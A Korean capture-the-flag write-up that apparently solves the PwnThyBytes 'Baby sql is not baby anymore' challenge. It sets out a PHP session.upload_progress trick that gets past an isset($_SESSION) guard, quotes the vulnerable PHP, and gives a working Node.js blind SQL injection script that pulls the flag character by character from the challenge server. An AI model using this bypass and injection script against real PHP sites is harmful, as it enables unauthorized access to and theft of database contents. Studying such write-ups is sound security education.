PwnThyBytes CTF - Baby sql is not baby anymore

   

img

PHPsession.upload_progress 에 관한 문제입니다.
기본 상태에서 활성화 되어있는 session.upload_progress 옵션은, session_start 함수의 실행 없이 $_SESSION 변수가 설정될 수 있도록 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
session_start();

foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value){
!is_string($value) AND die("Hacking attempt!");

return addslashes($value);
}

문제의 index.php 에서는 내부 변수들에 대해 필터링 과정을 거친 후, templates 폴더 내부의 스크립트를 참조하는 방식으로 구성됩니다.

1
2
3
4
5
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'.$_GET['username'].'" and password="'.md5($_GET['password']).'";';
$result = $con->query($sql);

/templates/login.php 페이지 등은 최상단에서 isset($_SESSION) 구문으로 하여금, 페이지의 직접 참조를 방지하고 있습니다.
index.php 페이지를 통해 참조될 때에는 session_start 로 인해 $_SESSION 가 설정된다는 점을 이용한 것입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const request = require('request');
const dict = '0123456789abcdefghijklmnopqrstuvwxyz{}';

option = (FLAG) => ({
method: "POST",
url : 'http://137.117.210.176:13372/templates/login.php?username=' +
escape(`"||(select secret like '${FLAG}%' from flag_tbl)#`),
headers : {
'Content-Type' : 'multipart/form-data',
'Cookie' : 'PHPSESSID=1'
},
multipart : [{
'Content-Disposition' : 'form-data; name="PHP_SESSION_UPLOAD_PROGRESS"',
'body' : '1'
}]
});

function exploit(FLAG = '') {

for (let chr of dict) {
request(option(FLAG + chr), function(err, res, body) {
if (body.indexOf('Try again!') === -1) {
console.log(FLAG);
exploit(FLAG + chr);
}
});
}

}

exploit();

multipart/form-data 형식으로 session.upload_progress.name 와 동일한 이름의 파라미터를 추가해 주는 것으로 isset($_SESSION) 조건식을 우회할 수 있었습니다.